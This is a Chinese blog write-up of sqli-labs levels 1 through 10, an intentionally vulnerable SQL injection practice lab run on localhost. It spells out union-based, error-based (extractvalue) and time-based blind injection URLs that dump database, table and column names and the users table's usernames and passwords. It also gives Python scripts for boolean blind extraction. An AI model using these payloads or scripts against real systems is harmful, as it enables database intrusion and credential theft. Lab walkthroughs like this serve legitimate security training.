sqli-labs GET关(1-10)

    写在前面的话:是的,我终于想起来写这个了,23333,我真的很容易忘记,1-10有很多关是类似的,对于懒成癌的我,可能就不会详细说了,见谅咯,截图真的很难截的啊ORZ,默认对SQL注入有一定了解的,什么基础知识我就不说了,直接上过程,原理不解释了。

LESS-1 GET-Error based - Single quotes - String
    看标题就可以判断是单引号字符型注入,当然我们在实战的时候可没有这么明显的提示,所以我们得一步一步的尝试。
1、常规操作第一步:
http://127.0.0.1/sqli-labs/Less-1/?id=1
回显不正常,可能存在SQL字符注入
在这里插入图片描述
2、http://127.0.0.1/sqli-labs/Less-1/?id=1’ --+
    回显正常,根据报错可判断为单引号字符型注入。(若其他情况则需要其他的分析,比如 or 1=1,and 1=2 之类的,具体情况具体分析,能判断出注入类型就ok。)
在这里插入图片描述
3、http://127.0.0.1/sqli-labs/Less-1/?id=1’ order by 2 --+
http://127.0.0.1/sqli-labs/Less-1/?id=1’ order by 4 --+
    2回显正常,当增加到4时,报错,可推出有3列数据。
在这里插入图片描述
4、然后进行传说中的爆库、爆表、爆列、爆数据。
爆库:
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata --+
在这里插入图片描述

爆表:
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = ‘security’ --+
在这里插入图片描述
爆列:
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name = ‘users’ --+
在这里插入图片描述
爆数据:
    由于有三个回显位,将username放在第二个回显位,password放在第三个。
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(username),group_concat(password) from users --+
在这里插入图片描述
LESS-2 GET-Error based - Intiger based
1、http://127.0.0.1/sqli-labs/Less-2/?id=1
http://127.0.0.1/sqli-labs/Less-2/?id=1’ --+
    两者都报错,根据报错信息大致可以判断出为数字型注入, 不确定的可以在进行 and 1=2 判断。
在这里插入图片描述
在这里插入图片描述
2、开始爆库,爆表,爆列,爆数值
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union
select 1,group_concat(schema_name),3 from information_schema.schemata --+

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union
select 1,group_concat(table_name),3 from information_schema.tables where table_schema= ‘security’ --+

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union
select 1,group_concat(column_name),3 from information_schema.columns where table_name= ‘users’ --+

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union
select 1,group_concat(username),group_concat(password) from users --+

LESS-3 GET-Error based - Single quotes with twist - string
1、http://127.0.0.1/sqli-labs/Less-3/?id=1
    有报错可知,构造的查询是这样的:Select login_name, select password from table where id= (‘our input here’)
    所以构造这样的palyload:http://127.0.0.1/sqli-labs/Less-3/?id=1’) --+
id部分改成?id=1’),其余部分不变即可。
在这里插入图片描述
LESS-4 GET-Error based - Double Quotes - string
    输入 id=1’ 正常回显,尝试 id=1",报错,根据报错判断为 id=1") ,剩余与前面一样。

LESS-5 GET- Double Injection - Single Quotes - string
1、http://127.0.0.1/sqli-labs/Less-5/?id=1’--+
    可以看到回显与之前明显不同。
在这里插入图片描述
2、http://127.0.0.1/sqli-labs/Less-5/?id=1’union select 1, group_concat(schema_name),3 from information_schema.schemata --+
    发现回显只有一个You are in,与之前出现的数据库信息不同,此情况可以采用盲注,由于有错误回显,可以采用基于报错的盲注。
在这里插入图片描述
https://www.cnblogs.com/tyomcat/p/5410816.html
    这个网址给出了常见的十个报错注入,个人比较习惯用extractvalue(),其他方法感兴趣的可以自己试试。
3、http://127.0.0.1/sqli-labs/Less-5/?id=1’and extractvalue(1,concat( ‘~’,(select database()),’~’ )) --+
    得到当前数据库名称。剩余的在concat的第二个参数进行操作,加入’~‘是为了区分值,concat()得到的结果比较难区分值的。
在这里插入图片描述
2、http://127.0.0.1/sqli-labs/Less-5/?id=1’and extractvalue(1,concat( ‘~’,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’),’~’ )) --+
在这里插入图片描述
3、http://127.0.0.1/sqli-labs/Less-5/?id=1’and extractvalue(1,concat( ‘~’,(select group_concat(column_name) from information_schema.columns where table_name = ‘users’),’~’ )) --+
在这里插入图片描述
4、http://127.0.0.1/sqli-labs/Less-5/?id=1’and extractvalue(1,concat( ‘~’,(select group_concat(username,’~’,password) from users ),’~’)) --+
在这里插入图片描述
    由于extractvalue()能查询字符串的最大长度为32,所以建议一条一条输出,加个where id = 4之类的。http://127.0.0.1/sqli-labs/Less-5/?id=1’and extractvalue(1,concat( ‘~’,(select group_concat(username,’~’,password) from users where id = 4),’~’)) --+
在这里插入图片描述
LESS-6 GET- Double Injection - Double Quotes - string
    该题与less5思路一样,把id=1’改为id=1",改为双引号即可。

LESS-7 GET- Dump into outfile - string
    fine,这题我的环境写不进文件,我也不知道为什么,数据库版本我也调了,没用,所以放弃,看看别人的题解就好。

LESS-8 GET- Blind - Boolian Based - Single Quotes
    这题没有回显,只有语法正确时返回you are in,错误没回显,因此基于错误的盲注是不能用了,由正确与错误返回的界面不同,可以考虑布尔盲注(题目已提示)。对于基于时间的盲注与布尔盲注,建议写脚本,手动有些恶心。

测数据库长度:

def database_len():
    for i in range(1, 10):
        url = "http://127.0.0.1/sqli-labs/Less-8/index.php"
        payload = "?id=1' and length(database())>%s" %i
        r = requests.get(url + payload + '%23')
        if 'You are in' in r.text:
            print(i)
        else:
            # print('false')
            print('database_length:', i)
            break

测数据库名:

def database_name():
    name = ''
    for j in range(1, 9):
        for i in 'sqcwertyuioplkjhgfdazxvbnm':
            url = "http://127.0.0.1/sqli-labs/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" % (j, i)
            r = requests.get(url + '%23')
            if 'You are in' in r.text:
                name += i
                #print(name)
                break
    print('database_name:', name)

    剩下的自己写吧,方法一样,其次可以用二分法查找,那样会更快一点,还有就算用了二分法,把所有的脚本都写好了,爆出数值了也是很慢的,经一个大佬提醒,可以用多线程,忙完这段时间再尝试orz,若有大佬实现了,求点拨一下弱小无助又可怜的我啊。最后哦,这种脚本都差不多的,可以自己构建一个复用性高一点的,其他题目改改就能用的,这样打比赛什么的真的是美滋滋了,节约了一些时间。

LESS-9 GET- Blind - Time Based - Single Quotes
    这题你会发现不管输入什么都是一样的回显,根本不知道自己的代码执行了没有,这时候需要时间盲注了。利用sleep()函数。

猜数据库:
http://127.0.0.1/sqli-labs/Less-9/?id=1’ and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
说明第一位是s(ascii码为115)
http://127.0.0.1/sqli-labs/Less-9/?id=1’ and If(ascii(substr(database(),2,1))=101,1,sleep(5))–+
说明第二位是e(ascii码为101)

如此一位一位的判断。
然后猜测security库中的数据表:
http://127.0.0.1/sqli-labs/Less-9/?id=1’and If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5)) --+
猜测第一个数据表的第一位是e,依此类推得到第一张表为email

http://127.0.0.1/sqli-labs/Less-9/?id=1’and If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),1,1))=101,1,sleep(5)) --+
猜测第二个数据表的第二位是r,依此类推得到referers。

之后同理猜测users表的列、username的值,password的值。

该题不提供脚本了,按照该方式可以构造出脚本的。

LESS-10 GET- Blind - Time Based - Double Quotes
    将单引号改成双引号即可。

   马马虎虎也算把这个写完了,脚本部分我自己也在学,代码写得太丑,不好意思贴出来,想写出国赛时队里大佬的那种自动盲注的脚本,真的很好用了,但毕竟是人家自己写的,咱也不好意思开口要orz,慢慢练吧。这些关卡都可用sqlmap跑出来的,但是我个人比较倾向于手动,知道了原理之后再去跑机器。好了,就到这了,后面有时间再更新吧。谢谢看到这里的你~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值